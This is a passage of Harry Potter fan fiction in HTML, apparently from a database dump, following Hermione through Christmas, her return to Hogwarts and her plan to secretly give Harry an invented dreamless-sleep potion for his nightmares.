scandal throughout the wizarding\ncommunity.&nbsp; Some people were afraid that\nthis kind of generosity would make muggles start expecting magical solutions to\nall their problems.&nbsp; Others were afraid\nit would lead to more serious complications.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;In the end, it\nbecame such a big mess that Cringle was put under huge restrictions by the\nworld wizarding leaders.&nbsp; He was only\nallowed to distribute gifts once a year and as indiscreetly as possible.&nbsp; Then they spread around the whole &#8216;Father\nChristmas&#8217; myth to throw muggles off.&nbsp; Of\ncourse, because Cringle had to keep himself so well hidden, no one is really 100%\nsure if he passed his legacy down to another witch or wizard, but since there\nare still so many unexplained reports of random acts of giving on Christmas,\nI&#8217;d say it&#8217;s a safe assumption.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\nup at her parents who both had looks of shock and confusion on their face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; she asked\nfinally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Granger\nlaughed. &#8220;Hermione, I love you dearly, but sometimes you&#8217;re scary.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mom!&#8221; Hermione\nsquealed, giving her a fake look of hurt.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well at least we\nknow she&#8217;s been studying,&#8221; Mr. Granger said proudly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After opening the\nremainder of her presents, Hermione went up to her room to change out of her\npajamas.&nbsp; When she pushed open her door,\nshe saw a large, brown owl sitting patiently on the windowsill.&nbsp;&nbsp; She quickly ran to the window and let it\nin.&nbsp; It looked like a school owl and it\nwas holding a small package.&nbsp; She untied\nthe bundle from the owl and placed it on her bed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You can come in\nand rest a bit if you&#8217;d like.&#8221; Hermione told the owl, but it hooted happily and\nflew out the window again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nshrugged.&nbsp; Perhaps the owl was in a hurry\nto get back to its own family.&nbsp; She\nsupposed owls must want to be with their family on Christmas too.&nbsp; She turned her attention to the small brown\nparcel now lying on her bed.&nbsp; There was a\nnote attached.&nbsp; She pulled it off and\nunfolded it.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&#8220;Dear Hermione,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">I hope this reaches you before\nChristmas.&nbsp; I wasn&#8217;t sure if I was going\nto be able to get you anything since there isn&#8217;t exactly a gift store here in\nthe castle, but fortunately Fred and George decided to sneak into Hogsmeade\nthis weekend.&nbsp; I don&#8217;t know how they\nmanaged it, but they did.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">I asked them to pick me up something\nfor you while they were there.&nbsp; I knew\nexactly what I should get you and fortunately they sold them in town.&nbsp; You&#8217;d be proud of me; I read about them in\none of the library books you showed me a few weeks ago.&nbsp; In any case, I hope you like it and I hope\nyour holidays are going well.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt;mso-outline-level:1">Harry&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione beamed\nand she silently chastised herself for this.&nbsp;\nShe couldn&#8217;t understand why she hadn&#8217;t gotten over her crush on\nHarry.&nbsp; They were friends now and that&#8217;s\nall she really wanted.&nbsp; But no matter\nwhat she told herself, she always became overly emotional every time Harry did\nthe least little nice thing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She picked up the\nsmall package and unwrapped it.&nbsp;&nbsp; It was\na book, completely unmarked.&nbsp; She could\ntell that the cover was made of dragon hide, but nothing else revealed anything\nabout the book&#8217;s true purpose.&nbsp; She\nopened it and saw that all the pages were blank as well.&nbsp; A note fell out of the center.&nbsp; Curious, Hermione picked up the note and read\nthe first few lines.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you for\npurchasing the Young Wizards Dragon Keeper Diary, perfect for writing your most\nintimate secrets without fear from prying muggle or wizard eyes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione grinned\nagain. <i>&#8220;What a perfect gift.&#8221;</i> She thought.&nbsp; <i>&#8220;I can&#8217;t believe he got me this and all I\ngot him was a box of chocolate frogs.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As she continued\nreading, she found that the plain green book had many magical properties.&nbsp; Although there seemed to be a finite number\nof pages, the diary claimed to never run out of writing space.&nbsp; She could seal it by saying the magic word\n&#8220;Imperamora&#8221; and then only someone with a wand saying the same magic word could\nopen it.&nbsp; In addition, she had to write\nher name and own secret password in the last page of the book.&nbsp; Since the diary immediately concealed all of\nher entries once the book shut, she would have to write in her password on the\nlast page anytime she wanted to write an entry or read an old entry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione read the\nrest of the instructions eagerly and when she flipped over the page to see if\nthere was anything else, she found another written message from Harry instead.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&#8220;Hermione,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">I thought since you liked reading so\nmuch you would enjoy writing for a change.&nbsp;\nYou and Ron are my best friends and I hope we stay like that forever,\nbut I&#8217;m sure there will be plenty of times when we can&#8217;t be there for each\nother.&nbsp;&nbsp;&nbsp; So use this diary whenever you\nwant to get something off your chest but you aren&#8217;t able to talk to me about\nit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione put the\nnote down and beamed again, despite herself.&nbsp;\nShe pulled a quill and inkbottle out of the bag she brought from school\nand turned to the last page.&nbsp; There was a\nname and password line already there.&nbsp;\nShe wrote &#8220;Hermione Granger&#8221; on the name line and on the password line,\n&#8220;Harry and Hermione Friends Forever.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She watched the\nwords she wrote shimmer for a moment and then fade away.&nbsp; Then some new words replaced them. &#8220;Hello,\nHermione:&nbsp; Your Diary is Now Unlocked.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione hated to\nadmit it but her father had succeeded in making her feel guilty about the fact\nthat up until Christmas, she hadn&#8217;t done any studying.&nbsp; So she spent most of the remainder of the\nholidays doing the little bit of schoolwork that her professors had assigned\nand catching up on her personal studies on magical society.&nbsp; She remembered that she had made a commitment\nto herself at the beginning of the term that she would be the best witch of her\nyear.&nbsp; She couldn&#8217;t afford to slack\noff.&nbsp; She was supposed to be taking the\ncastle by storm.&nbsp; She wasn&#8217;t going to let\nPansy Parkinson or Draco Malfoy ever think that they were better than her just\nbecause they were born into wizarding families.&nbsp;\nShe was a Granger and as her father always said: Grangers could do\nanything.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The rest of the\nholidays went along without incident.&nbsp;\nHer parents were still working most of the time but they were sure to\nspend as much time with their daughter as possible since they knew they\nwouldn&#8217;t see her again until the end of the school term.&nbsp;&nbsp; Her mother took her on a &#8220;girls&#8217; night out&#8221;\nand they went to see a movie and spend some quality mother/daughter bonding\ntime at a local restaurant.&nbsp; She caught\nup on current muggle events with her father and they had several spirited\ndebates.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Though Hermione\ndefinitely enjoyed her time at home, she was ready to go back to school when\nthe holidays ended.&nbsp; She wanted to spend\nmore time with her friends as well as continue her studies.&nbsp; She began to remember why she preferred\nreading to television and though her parents weren&#8217;t the worst cooks, she\ndefinitely missed the Hogwarts food.&nbsp;\nAlso, as much as she loved her father, she felt that he was overzealous\nabout her education and it was beginning to drive her mad.&nbsp; It was bad enough she was putting pressure on\nherself; she didn&#8217;t need his help.&nbsp; All\nand all, on the last day of the holidays, Hermione was more than pleased to be\nheading back as she repacked her books in the new bag her parents had bought\nher for Christmas.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After several\nhours of driving, the Grangers were once again at Kings Cross Station.&nbsp; Mr. Granger was watching another set of\nwizarding students disappear casually through the barrier between Platform Nine\nand Platform Ten.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll never\nunderstand how nobody notices all of the wizarding activity that&#8217;s going on\naround here,&#8221; he said quietly to his wife and daughter.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sometimes they\ndo,&#8221; Hermione confirmed. &#8220;But the Ministry of Magic takes care of that when it\nhappens.&#8221;&nbsp; She looked at the clock on the\nwall in front of her. &#8220;Well, I&#8217;d better get going.&nbsp; I want to find Parvati or Lavender before the\ntrain leaves so I&#8217;ll have someplace to sit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Both Mr. and Mrs.\nGranger hugged and kissed their daughter. &#8220;Good-bye dear.&nbsp; Have a safe trip.&nbsp; Send us a letter when you get there.&#8221; Mrs.\nGranger said cheerily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Granger bent\ndown to look Hermione in the eyes. &#8220;Have a good term Hermione and keep up the\ngood work.&nbsp; I know I don&#8217;t tell you this\noften enough, but I&#8217;m very proud of you.&nbsp;\nAlways remember that you&#8217;re a Granger, and Grangers can do anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nfervently at this.&nbsp; She hugged her father\nagain and then started off towards the hidden entrance to Platform 9 &#190;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 10, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; Hermione tries to help Harry with his chronic\nnightmares.&nbsp; Will this end well?</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here\n---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender,\nParvati, and Padma were surprisingly quiet on the train ride back to Hogwarts,\nso Hermione took this time to catch up on her reading.&nbsp; Every now and again she&#8217;d glance over her\nbook and find the three girls staring at her.&nbsp;\nAt first she thought they were still seething over her relationship with\nHarry, but then she noticed that the looks they were giving her seemed to\ndenote curiosity and shock as opposed to anger.&nbsp;\nFinally Lavender spoke.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230; Hermione,&#8221;\nshe started timidly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione put her\nbook down. &#8220;Yes&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Is it true&#8230; what\nhappened at the quidditch game?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t answer.&nbsp; Did they know that Snape had tried to kill\nHarry?&nbsp; &#8220;What do you mean?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well we heard&#8230;\nthat is Padma got a letter from one of her Ravenclaw friends at the beginning\nof the holidays who heard it from a Hufflepuff boy who overheard Ron and Harry\ntalking about&#8230; well&#8230; that you saved Harry&#8217;s life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;When his broom\nwas acting up,&#8221; Parvati finally blurted out. &#8220;You did something to help\nhim.&nbsp; I remember seeing you running down\nthe stairs to the field.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nspeechless.&nbsp; She guessed that she shouldn&#8217;t\nbe surprised.&nbsp; It wouldn&#8217;t have been long\nbefore people found out what happened, especially at Hogwarts.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So it&#8217;s true!&#8221;\nLavender took Hermione&#8217;s stunned silence to be an answer. &#8220;You stopped his\nbroom from throwing him off.&nbsp; You saved\nhis life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How did you do\nit?&nbsp; What was wrong with Harry&#8217;s\nbroom?&nbsp; How did you stop it?&#8221; Padma\nstammered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I&#8230;&#8221;\nHermione knew she couldn&#8217;t tell them that Snape had been cursing the broom. &#8220;I\njust used a special charm to dispel jinxes placed on brooms.&nbsp; We think one of the Slytherins cursed\nit.&#8221;&nbsp; This, Hermione supposed, was enough\nof the truth to sound believable.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You actually\nsaved Harry Potter&#8217;s life.&nbsp; Hermione,\nyou&#8217;re incredible,&#8221; Lavender said sincerely. &#8220;We uh&#8230; wanted to apologize to\nyou.&nbsp; We&#8217;ve been so mean to you lately\nbecause we were&#8230; well&#8230; jealous of you and Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me mostly,&#8221;\nParvati added quickly. &#8220;I was trying so hard to get Harry&#8217;s attention and then\nall the sudden you were with him without even trying.&nbsp; But I guess I can see why he likes you.&nbsp; I mean, you are the cleverest witch in our\nyear.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nsmiled.&nbsp; As much as she wanted to let\nParvati think Harry was off limits, she decided to be truthful.&nbsp; It wouldn&#8217;t be good for her friendship with\nHarry to have rumors circulating. &#8220;It&#8217;s okay but really, Harry and I are just\ngood friends.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I don&#8217;t\nthink I&#8217;ll ever get him to really notice me anyway,&#8221; Parvati admitted. &#8220;I\nshould stop making a fool of myself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Yes, yes you should,&#8221;</i> Hermione thought\nto herself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Then again&#8230;&#8221;\nParvati had a gleam in her eyes. &#8220;If Harry really isn&#8217;t taken then that means I\nstill have a chance.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione returned\nto her reading as the three girls started giggling again.&nbsp; It seemed that everything was back to normal\nwith her two roommates.&nbsp; She wondered if\nthat was a good or bad thing.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stuck\nher head out of the horseless carriage that was taking her, Lavender, Parvati,\nand Padma back to Hogwarts castle.&nbsp; The\nwind whipped through her thick hair.&nbsp; It\nwas a cool winter wind but it felt good on her face.&nbsp; She smiled as the castle came into view.&nbsp; She felt like she was home again.&nbsp; She looked up at the towers and saw something\nflying around.&nbsp; At first it looked like\nan owl, but then she realized it was someone on a broomstick.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It could only be\none person. &#8220;That boy,&#8221; Hermione hissed to herself but she smiled anyway.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When the carriage\nstopped, she took off towards the main doors as quickly as her overloaded\nschoolbag would allow.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, where\nare you going?&#8221; Lavender called after her, but by this time Hermione was inside\nthe castle.&nbsp; She bounded up four flights\nof stairs to where Gryffindor Tower was but she didn&#8217;t head for the portrait of\nthe fat lady.&nbsp; Instead she rounded\nanother corner and headed for the familiar statue.&nbsp; By the time she kicked the shin, she was\npanting and her bag had hit against her one too many times but she didn&#8217;t care.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She ran up the\nstairs that led to the ramparts and pushed open the trap door.&nbsp; The wind was blowing much stronger.&nbsp; She pulled out her wand and performed the\nwind ceasing charm.&nbsp; Then she looked\naround to see if she could spot Harry again.&nbsp;\nThere was no sign of him or his broomstick.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oy, welcome\nback,&#8221; said a voice behind her.&nbsp; Hermione\nwhirled around and was met by an unusual site.&nbsp;\nHarry was hanging upside down from his broomstick.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re nutters;\nyou know that don&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry jumped down\nexpertly and grabbed his broomstick out of the air. &#8220;Glad to see you too.&nbsp; How was your trip?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My dad tried to\ndrive me insane, but other than that, fine.&nbsp;\nHow were your holidays?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well actually,\nthat&#8217;s a bit of a story.&#8221; Harry said taking a seat. He proceeded to tell\nHermione all about how he had gotten an invisibility cloak from an anonymous\nbenefactor on Christmas.&nbsp; He&#8217;d used to\ncloak to try to get in the restricted section of the library to search for\nNicolas Flame, but almost got caught by Filch, Mrs. Norris, and Snape.&nbsp; In trying to escape, he had found a\nremarkable mirror, the Mirror of Erised, which allowed him to see his family,\nall of his family.&nbsp; It had been such an\nalluring vision that he had gone back two more nights to see it.&nbsp; The third night though, Professor Dumbledore\nhimself had caught Harry, and though he wasn&#8217;t angry with him, he asked him not\nto go looking for the mirror again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve heard of that.&nbsp; I read all about it in &#8216;Rare and Powerful\nMagical Objects,&#8217;&#8221; Hermione said.&nbsp; Harry\ngave her a knowing look but she ignored him. &#8220;You&#8217;d do good to read it\nyourself. &nbsp;The invisibility cloak is in there\ntoo.&nbsp; It has powers you&#8217;re not even aware\nof, like the ability to cover more than just one or two people; it can\nmagically cover just about anything of reasonable size that you want it\nto.&nbsp; Anyway, the Mirror of Erised is the\nonly one of its kind.&nbsp; It&#8217;s one of the\nfew magical objects in the world that was never duplicated.&nbsp; It&#8217;s mysterious but also very very dangerous.\n&nbsp;Some people have gone mad staring at\nit.&nbsp; Oooo, Harry I&#8217;m glad Dumbledore\nconvinced you not to go back there.&nbsp;\nBesides, sneaking around three nights in a row?&nbsp; If Filch had caught you, he&#8217;d have your\nhead.&nbsp; Still it would have been nice if\nyou had found something on Flamel.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I see being with\nyour parents all this time has renewed your ability to talk faster than a\nsnitch can fly.&#8221; Harry laughed.&nbsp; &#8220;Don&#8217;t\nworry; I don&#8217;t think I ever want to go near that mirror again.&nbsp; Ever since then&#8230; I&#8217;ve been having\nnightmares.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione bit her\nbottom lip. &#8220;Oh Harry, that&#8217;s awful.&nbsp;\nWhat are they about?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My parents&#8230;\ndying.&nbsp; It&#8217;s vague, but I know that&#8217;s\nwhat the dream is about.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m so\nsorry.&nbsp; That&#8217;s such a terrible thing to\nhave to relive.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hopefully it\nwill stop soon.&nbsp; Maybe when I&#8217;m busy with\nschool and quidditch&#8230;&#8221;&nbsp; Harry had a look\nin his eyes that said he thought this was wishful thinking.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Maybe, I could\nmake a sleeping potion like the one Snape was telling us about that gives the\ndrinker a dreamless sleep,&#8221; Hermione offered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t want\nanything that Snape would suggest.&#8221; Harry shuddered. &#8220;I think I&#8217;ll pass.&nbsp; By the way, thank you for the Christmas gift.&#8221;&nbsp; It was obvious he wanted to change the\nsubject.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks for yours\nas well.&#8221; Hermione added. &#8220;I really appreciate it.&nbsp; Sometimes I think you actually understand\nme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know&#8230; scary\nisn&#8217;t it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where&#8217;s Ron?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Down in the\ncommon room eating some snacks that Fred and George snuck from the kitchens,&#8221;\nHarry told her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I swear that boy\nis always eating.&nbsp; Well I&#8217;m going to go\nget him off his duff.&nbsp; We should go to\nthe library.&nbsp; Term will be starting again\ntomorrow and then we won&#8217;t have any time to look for Flamel.&#8221;</p>\n\n<p class="MsoNormal" style="mso-outline-level:1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,\nit&#8217;s the last day of break&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;All the more\nreason to head to the library now,&#8221; Hermione reasoned.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry\nsighed.&nbsp; It was obvious that going to the\nlibrary hadn&#8217;t been in his plans, but he mounted his broom and took off again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stared\nafter him.&nbsp; She was worried about Harry,\nthe nightmares he told her about.&nbsp; She\nwished there was something she could do.&nbsp;\nThen again, maybe there was something.&nbsp;\nAfter all she was the cleverest witch of her year.&nbsp; Harry was her best friend.&nbsp; She should help him, even if he acted like he\ndidn&#8217;t want help.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Snape never paid\nany attention to Hermione in potions anymore.&nbsp;\nShe had performed so flawlessly in every single lesson that even he\ncouldn&#8217;t find anything to complain about.&nbsp;\nSo he completely ignored the honor student and instead focused on\ntormenting Neville, who could barely stand a caldron right side up.&nbsp; Usually it would annoy Hermione that Snape\nnever called on her or acknowledged her during class, but this time she didn&#8217;t\ncare.&nbsp; In fact she was counting on the\nfact that Snape wouldn&#8217;t even check up on her during this particular double\npotions lesson.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She wasn&#8217;t making\na forgetfulness potion like all the other students.&nbsp; Although it was a very difficult potion to\nmake and Snape had alluded to the fact that it would be part of their finals,\nshe didn&#8217;t care.&nbsp; She knew she could make\nit if she needed to and that&#8217;s all that mattered.&nbsp; Hermione had a better way to spend this time.&nbsp; She was making a special sleeping potion she\nhad found in a library book called &#8220;Modern Magical Medicine.&#8221; There were\nmultiple kinds of sleeping potions, many of which gave the drinker a dreamless\nsleep.&nbsp; The problem was, most of these knocked\na person out instantly, and that wasn&#8217;t what she wanted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The potion was\nfor Harry of course.&nbsp; For the past several\ndays, he had come to breakfast looking like he hadn&#8217;t slept at all.&nbsp; He&#8217;d always shrug it off saying that it was\njust the quidditch practices tiring him out, but Hermione knew the truth.&nbsp; He was still having nightmares and they were\nkeeping him up.&nbsp; &nbsp;She didn&#8217;t know how to talk to him about\nit.&nbsp; It seemed so personal and how could\nshe relate to his problem.&nbsp; She&#8217;d never\nlost anyone close to her, and he had lost both his parents.&nbsp; He&#8217;d never even known them.&nbsp; The only thing she could offer was to make him\na sleeping potion, which he constantly refused for one reason or another.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;He&#8217;s so stubborn,&#8221; </i>Hermione thought as\nshe stirred the potion. <i style="mso-bidi-font-style:normal">&#8220;He always has to\ndo things the difficult way.&nbsp; Why can&#8217;t\nhe just let me help him?&nbsp; Then I wouldn&#8217;t\nhave to go through all this trouble.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her plan was\nsimple.&nbsp; If Harry wouldn&#8217;t voluntarily do\nsomething about the dreams, then she&#8217;d help him without his knowledge.&nbsp; The sleeping potion she&#8217;d found was called\nNarcoryan and was specifically designed not to induce sleep instantly but\nrather give the drinker a deeper, dreamless sleep when they went to bed\nnaturally.&nbsp; The effects could last\nanywhere from a few days to several weeks.&nbsp;\nShe would slip some in his drink at dinner and hopefully he would never\nknow.&nbsp; Snape swept by her table but\ndidn&#8217;t take any notice to that fact that Hermione&#8217;s potion was a completely\ndifferent color from what it should have been.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry leaned over\nand whispered, &#8220;Are you even doing the assignment or is this some extra credit\npotion that you&#8217;ve whipped up?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Potter!&#8221; Snape\nsnapped immediately. &#8220;Just because you can&#8217;t manage to do a simple potion on\nyour own does not give you license to employ the services of Ms. Granger.&nbsp; Five points from Gryffindor.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sighed. &#8220;I\nwish he ignored me like he ignored you,&#8221; he mumbled before returning his\nattention to the caldron in front of him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\ndown at &#8220;Modern Magical Medicine&#8221; and read the last few instructions.&nbsp; It told her the potion needed to boil for\nanother three hours.&nbsp; That wouldn&#8217;t do at\nall.&nbsp; She only had a half hour left in the\nclass and she very well couldn&#8217;t take a caldron full of potion with her.&nbsp; Snape would definitely be suspicious of\nthat.&nbsp; The potion looked fine, exactly\nhow it was supposed to be, according to the book.&nbsp; She supposed that the boiling time was needed\nto make it more potent.&nbsp; Well, she didn&#8217;t\nneed it to be all that strong, it was only for one person and all it had to do\nwas give him a few good nights of sleep.&nbsp;\nShe poured some into a bottle while Harry and Ron weren&#8217;t looking and\ntucked it in her bag.&nbsp; Now all she had to\ndo was wait.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I hope you&#8217;re\npracticing hard for your next quidditch game, Potter,&#8221; Draco Malfoy said as he\nstrolled up to the Gryffindor table at dinner.&nbsp;\nIt was like clockwork.&nbsp; Malfoy couldn&#8217;t\nlet a day go by without making some snide comment to Harry.&nbsp; His two lackeys, Vincent Crabbe and Gregory\nGoyle were with him.&nbsp; Hermione rarely saw\nhim without them, unless he was with Pansy when she came to harass Hermione.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This time though,\nshe was glad Malfoy was 